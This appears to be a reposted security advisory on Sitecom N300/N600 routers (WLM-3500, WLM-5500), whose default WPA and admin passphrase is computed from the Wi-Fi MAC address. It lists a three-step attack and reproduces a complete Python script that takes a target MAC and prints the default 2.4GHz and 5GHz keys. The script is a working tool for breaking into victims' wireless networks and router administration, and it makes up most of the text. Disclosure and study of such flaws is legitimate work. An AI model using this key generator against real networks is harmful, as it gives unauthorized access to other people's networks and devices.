Affected Sitecom devices are shipped with a 8-letter WPA/WPA2 passphase, printed on a stick attached under the device. The very same passphrase can be also used to authenticate to the router web interface, with administrative privileges. At a first glance, this key seems just like a random sequence of eight lowercase and uppercase letters. However, our analysis revealed that this 8-letter key is not random at all, as it can be generated from publicly-accessible information, namely the MAC address of the wireless interface card.
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{td}Generating the WPA/admin passphrase from publicly-accessible information{/td}
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This kind of issue is not new: in the past several other device models were shown to derive the wireless passphrase from the MAC address and/or the Wi-Fi SSID (e.g., Thomson, Huawei and many others). To the best of our knowledge, this is the first time Sitecom devices are also proved to be vulnerable.
More in detail, attackers can connect to a vulnerable Sitecom Wi-Fi network through a simple 3-step procedure:
Of course, the challenge for the attacker is to determine which algorithm was used to generate the WPA key starting from the Wi-Fi MAC address. In the case of the affected Sitecom routers, the key generation algorithm was included right inside the device firmware, and was used during a "factory reset" procedure to re-generate the default WPA passphrase.
- Move inside the wireless network range and intercept the router Wi-Fi MAC address.
- Apply the Sitecom key generation algorithm. This algorithm, starting from the Wi-Fi MAC address, generates the default WPA passphrase.
- The generated WPA key can be used to access the victim's wireless network, unless the user has changed it configuring a different Wi-Fi passphrase.
To demonstrate this attack, we reconstructed the WPA key generation algorithm and implemented it in a Python script, available here. Usage is very simple: just invoke the script passing the MAC address of the target Wi-Fi network, as shown in the example below. The script outputs both the key for the WLM-3500 and the two passphrases for the dual-band WLM-5500.
Code:Select All# # Sitecom N300/N600 default WPA/admin key calculator # ================================================== # # Authors: # Roberto Paleari ([email protected], @rpaleari) # Alessandro Di Pinto ([email protected], @adipinto) # import string import sys CHARSET = "123456789abcdefghjkmnpqrstuvwxyzABCDEFGHJKMNPQRSTUVWXYZ" def increment_hex(hexchar): hexchar = hexchar.upper() assert hexchar in string.hexdigits return string.hexdigits[(string.hexdigits.find(hexchar)+1) % len(string.hexdigits)] def mangle_key(mac, op1, op2): def LO(v): return v & 0xffffffff def HI(v): return (v >> 32) & 0xffffffff a0 = LO(op1 * op2) v0 = HI(a0 * 0x94f2095) v1 = v0 >> 1 v0 = a0 >> 31 v1 = v1 - v0 v0 = v1 v0 = LO(v0 << 3) - v1 v0 = LO(v0 << 3) - v1 v0 = a0 - v0 return CHARSET[v0] def calculate_key(mac): key = [0]*8 secondhalf = "0" for c in mac[6:]: if c.isdigit(): secondhalf += c else: break secondhalf = int(secondhalf) mac = [ord(x) for x in mac] opmap = [ (mac[11] + mac[5] + secondhalf, mac[9] + mac[11] + mac[3]), (mac[11] + mac[6] + secondhalf, mac[8] + mac[11] + mac[10]), (mac[3] + mac[5] + secondhalf, mac[7] + mac[11] + mac[9]), (mac[11] + mac[4] + mac[5], mac[6] + mac[7] + secondhalf), (mac[6] + mac[7] + secondhalf, mac[8] + mac[11] + mac[9]), (mac[11] + mac[3] + mac[4], mac[5] + mac[11] + secondhalf), (mac[11] + mac[6] + mac[8], mac[4] + mac[11] + secondhalf), (mac[11] + mac[7] + mac[8], mac[10] + mac[11] + secondhalf), ] for i in range(8): op1, op2 = opmap[i] key[i] = mangle_key(mac, op1, op2) return "".join(key) def main(): if len(sys.argv) != 2: print >> sys.stderr, "[!] Syntax: python %s <MAC address>" % sys.argv[0] exit(0) mac = sys.argv[1] if ":" in mac: mac = mac.replace(":", "") seed = mac.upper() print "==== Single-band (N300/WLM-3500) ====" key = calculate_key(seed) print "KEY 2.4GHz:", key print print "==== Dual-band (N600/WLM-5500) ====" last = seed[-1] for i in range(2): last = increment_hex(last) key = calculate_key(seed[:-1] + last) if i == 0: print "KEY 5GHz: ", key else: print "KEY 2.4GHz:", key if __name__ == "__main__": main()

Sitecom WLM-3500 and WLM-5501 WPS Keygen 1
Affected Sitecom devices are shipped with a 8-letter WPA/WPA2 passphase, printed on a stick attached
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